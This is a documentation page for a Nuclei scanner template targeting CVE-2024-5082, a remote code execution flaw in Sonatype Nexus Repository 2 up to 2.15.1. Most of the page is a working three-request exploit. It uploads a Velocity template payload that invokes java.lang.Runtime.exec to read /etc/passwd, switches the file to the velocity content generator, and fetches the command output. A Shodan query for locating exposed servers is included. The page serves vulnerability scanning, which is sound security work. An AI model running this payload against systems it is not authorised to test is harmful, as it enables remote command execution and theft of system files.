Skip to content
Nuclei Templates

Nexus Repository 2 - Remote Code Execution

ID: CVE-2024-5082

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,intrusive,nexus,sonartype

Description

Section titled “Description”

A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.

YAML Source

Section titled “YAML Source”
id: CVE-2024-5082


info:
  name: Nexus Repository 2 - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.
  reference:
    - https://github.blog/security/vulnerability-research/attacks-on-maven-proxy-repositories/
    - https://support.sonatype.com/hc/en-us/articles/30694125380755
  classification:
    epss-score: 0.00043
    epss-percentile: 0.11435
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"Nexus Repository"
  tags: cve,cve2024,intrusive,nexus,sonartype


flow: http(1) && http(2) && http(3)


variables:
  username: "{{username}}"
  password: "{{password}}"
  credentials: "{{ username + ':' + password }}"


http:
  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Connection: close
        Authorization: Basic {{base64(credentials)}}
        Content-type: text/xml


        #set($engine="")
        #set($run=$engine.getClass().forName("java.lang.Runtime"))
        #set($runtime=$run.getRuntime())
        #set($proc=$runtime.exec("cat /etc/passwd"))
        #set($null=$proc.waitFor())
        #set($istr=$proc.getInputStream())
        #set($chr=$engine.getClass().forName("java.lang.Character"))
        #set($output="")
        #set($string=$engine.getClass().forName("java.lang.String"))
        #foreach($i in [1..$istr.available()])
        #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
        #end
        $output


    matchers:
      - type: status
        internal: true
        status:
          - 201


  - raw:
      - |
        PUT /nexus/service/local/repositories/releases/content//.nexus/attributes/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}
        Content-type: application/json


        {"contentGenerator":"velocity"}


    matchers:
      - type: status
        internal: true
        status:
          - 201


  - raw:
      - |
        GET /nexus/service/local/repositories/releases/content/com/sbt/ignite/ignite-bom/maven-metadata.xml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(credentials)}}


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'


      - type: word
        part: content_type
        words:
          - "text/plain"
# digest: 4a0a00473045022100baa2e1ae91b516e65364512d1321e4f7855a9da19f22a746dbb584be50610b4302207842fe82bf1512e762cc784b7cdac65d85ec28ac1716918605086b264e4cc9c6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5082.yaml"

View on Github